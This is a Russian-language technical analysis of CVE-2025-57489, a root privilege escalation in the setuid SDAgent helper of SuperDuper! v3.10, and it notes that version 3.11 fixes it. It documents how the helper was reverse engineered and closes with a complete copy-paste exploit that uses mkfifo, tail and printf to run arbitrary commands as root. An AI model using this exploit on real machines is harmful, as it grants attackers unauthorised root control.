
Технический анализ и proof-of-concept эксплойт для CVE-2025-57489, уязвимость повышения привилегий в SuperDuper! v3.10 из-за неправильной конструкции setuid-бинарного файла, позволяющая выполнение произвольных команд с правами root.
Из блога разработчика:
Когда блокировка в SuperDuper снята, чтобы разрешить выполнение без необходимости ввода пароля администратора, сторонняя программа может воспользоваться нашей авторизацией для запуска чего-либо, отличного от резервного копирования, с привилегиями администратора.
Описание CVE:
Неправильный контроль доступа в компоненте SDAgent приложения Shirt Pocket SuperDuper! v3.10 позволяет злоумышленникам повысить привилегии до root из-за неправильного использования setuid-бинарного файла.
Автор этого материала не является первооткрывателем уязвимости; разработчик SuperDuper идентифицирует его как «анонимного исследователя безопасности». Я не претендую на заслуги в обнаружении этой уязвимости, я просто проявил интерес к её техническому анализу.
Оценка CVSS 3.1: 8.1: Высокий (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Чтобы избежать этой уязвимости, либо удалите приложение SuperDuper!, либо установите обновление до версии 3.11.
Предупреждение: Загружать обновление необходимо напрямую с сайта разработчика, чтобы избежать уязвимости CVE-2025-61228.
Этот анализ эксплойта и доказательство концепции предоставлены только в образовательных целях. Используйте их на свой страх и риск.
Компонент SDAgent приложения SuperDuper! является setuid-бинарным файлом. Из-за плохого проектирования/реализации SDAgent существует только для выполнения команд оболочки, запрашиваемых другим приложением, и, похоже, не выполняет никакой проверки запрашивающего приложения и не реализует никаких ограничений на типы команд оболочки, которые могут быть запрошены. В результате злоумышленники могут заставить уязвимые версии инструмента SDAgent выполнять любые команды оболочки с root-привилегиями. Исправление от разработчика устраняет только неспособность SDAgent проверять запрашивающую сторону, но не затрагивает архитектуру вспомогательного инструмента «puppet», оставляя агента потенциально уязвимым для будущих атак.
Описание этой проблемы разработчиком было расплывчатым, но комментарий «Когда блокировка в SuperDuper снята» быстро указал мне правильное направление. Начав с более старой (всё ещё уязвимой) версии SuperDuper, я нажал на значок блокировки и прошёл аутентификацию. В Мониторинге системы я заметил, что появился новый процесс, связанный с SuperDuper — SDAgent. Я нашёл этот компонент в пакете SuperDuper и посмотрел его атрибуты в Терминале. После включения/выключения блокировки я заметил, что файл SDAgent является setuid-бинарным, когда блокировка снята. Учитывая этот атрибут и имя файла, я заключил, что это, должно быть, «привилегированный вспомогательный инструмент», хотя он казался маловатым для этой цели.
Setuid — очень старая форма повышения привилегий, и обычно вы либо встраиваете весь функционал, требующий root, во «вспомогательный» инструмент и просто просите его выполнить свою задачу, либо разрабатываете канал связи, позволяющий клиентскому приложению отправлять конкретные запросы вспомогательному инструменту. Но учитывая, насколько мал файл SDAgent (всего 137 КБ), маловероятно, что он содержит весь код, требующий root, для того, что заявляет это приложение. Заинтригованный, я запустил утилиту «strings» на SDAgent, чтобы понять, что он должен делать. Это оказалось очень познавательно. Вывод был практически пустым (по сравнению с тем, что обычно видно для бинарного файла приложения), и по сути сводился к тому, что у SDAgent только одна функция: выполнять любой скрипт оболочки, предоставленный запрашивающей стороной, например:
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process
****DONE****
Это плохая архитектура — создавать вспомогательный инструмент, который будет выполнять буквально любую команду; «не будь марионеткой» — важное правило при создании вспомогательного инструмента.
Я продолжил с предположением, что SuperDuper должен открыть SDAgent, установить канал связи, а затем отправлять скрипты оболочки SDAgent. Некоторое время pokапавшись в пакете приложения SuperDuper, я убедился, что на правильном пути. Это приложение, похоже, управляет всей своей деятельностью по копированию через скрипты оболочки.
Я предпринял несколько слабых попыток просто передать команды агенту через конвейер:
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done printf "whoami" |
zsh: segmentation fault /Applications/SuperDuper!.app/Contents/MacOS/SDAgent
SDAgent упал. Видимо, не так всё просто! Не обескураженный, я начал строить догадки, основываясь на том, как обычно работают setuid-вспомогательные приложения. Между парой утилит оболочки обычно создаются конвейеры для stdin, stdout и stderr, а затем выполняется fork и exec. Дочерний процесс наследует копию каждого конвейера, поэтому обе стороны автоматически получают открытые каналы связи. В приложении, которое связывается с высокоуровневыми фреймворками, fork() не является вариантом. Вместо этого нужно разработать способ сообщить дочернему приложению, как вы намерены с ним общаться. Вывод «strings» дал подсказку:
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
STDIN_PIPE_READ_FD
%i %i %i
«STDIN_PIPE_READ_FD» — разработчик очень прозрачен в том, что здесь происходит. Мы можем получить немного больше контекста об этой строке из otool:
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8 leaq 0xa56(%rip), %rdi ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af callq 0x1000017f6 ## symbol stub for: _getenv
Хорошо, значит, это, вероятно, переменная окружения. Попробуем снова простой взлом через конвейер, предполагая, что SDAgent будет просто получать мои команды из своего файлового дескриптора stdin (0):
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1557%
После нескольких повторений стало ясно, что «1557» — это идентификатор процесса запущенного SDAgent. Не очень полезно (и не тот вывод «root», которого я ожидал), но на этот раз не было краха, что обнадёживало. Я попробовал снова с чем-то, что вызвало бы изменение файловой системы:
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1593%
Нет, файл не был создан; пора засучить рукава. Я отключил SIP, запустил dtruss и попросил SuperDuper выполнить задачу. Сразу после аутентификации для запуска задачи я увидел следующий вывод от dtruss (прикреплённого к процессу SDAgent):
read(0x0, "21 23 24 \0", 0x800) = 9 0
dup2(0x15, 0x1, 0x0) = 1 0
dup2(0x17, 0x2, 0x0) = 2 0
write(0x1, "1615\0", 0x4) = 4 0
SDAgent изначально читает из файлового дескриптора 0 (stdin) для ввода (вероятно, того FD, на который указывает STDIN_PIPE_READ_FD). Здесь мы видим, что он считывает три числа. Основываясь на последовательности, я предполагаю, что SuperDuper открыл три конвейера и отправляет SDAgent концы write, write и read этих трёх конвейеров. Затем SDAgent дублирует первые два в stdout и stderr (я не могу определить, для чего используется третий). Наконец, он выводит «1615» (текущий PID SDAgent) в stdout (теперь SuperDuper знает PID SDAgent), а затем слушает дополнительные команды на fd 0. После некоторых проб и ошибок стало ясно, что нам нужно отправить несколько файловых дескрипторов SDAgent, прежде чем он выполнит наши поручения. stdout (1) и stderr (2) уже будут открыты и доступны для записи в окружении оболочки, поэтому я попробовал их:
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602
Опять же, без краха, но, как нетерпеливый подросток, SDAgent завершает работу раньше времени, и я не получаю ожидаемый результат «root». dtruss показывает, что он читает файловые дескрипторы, но игнорирует остальное. Это неудивительно, учитывая нулевой терминатор строки; вероятно, нам нужен разрыв между этими строками, чтобы SDAgent обрабатывал их как отдельные запросы. Значит, нужно подключить SDAgent к конвейеру, в который можно писать более одного раза.
На этом этапе я мог бы написать простое приложение на C, которое открывает несколько конвейеров, порождает SDAgent, записывает дескрипторы в конвейер stdin, а затем после короткой паузы отправляет свои аргументы (т.е. полезную нагрузку атаки) в конвейер для выполнения. Как только я начал писать этот код, мне пришло в голову, что, вероятно, можно добиться всей функциональности этих 50+ строк скомпилированного кода с помощью пары простых команд оболочки. Мне на самом деле нужен только метод для установки и поддержания открытого конвейера к процессу SDAgent. «mkfifo» подходит для этой цели: fifo существуют как файлы на диске, но к ним можно подключить конвейеры. С одной стороны нам нужно что-то, что читает из fifo, а затем повторяет это содержимое SDAgent на другой стороне конвейера. Мне нужно сначала записать файловые дескрипторы в конвейер, но также нужно держать конвейер открытым, чтобы отправлять команды полезной нагрузки. Если процесс на любой стороне конвейера завершится, конвейер закроется. Утилита tail и оператор фона оказались решающими:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
[1] 1964 1965
Это породило два фоновых задания: tail (1964) и SDAgent (1965). Оба процесса остаются работающими в фоне, поэтому конвейер между ними сохраняется. tail ждёт, пока данные будут добавлены в fifo, а затем передаёт эти данные SDAgent. Потрясающе просто. Далее отправляем дескрипторы файлов:
printf "1 2 \0" > /tmp/puppet
dtruss показал, что SDAgent прочитал файловые дескрипторы и всё ещё работает, ожидая дальнейшего ввода. Теперь момент истины:
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****
Сработало! Ещё раз?
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****
Вот и всё! Когда я собрал всё вместе в единый блок команд оболочки для копирования, я всё ещё замечал, что SDAgent немного медленно обрабатывает файловые дескрипторы. Небольшая задержка — и всё готово:
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet
Как и в случае с root-эксплойтами, этот оказался на удивление легко обнаружить и очень легко использовать злоумышленнику.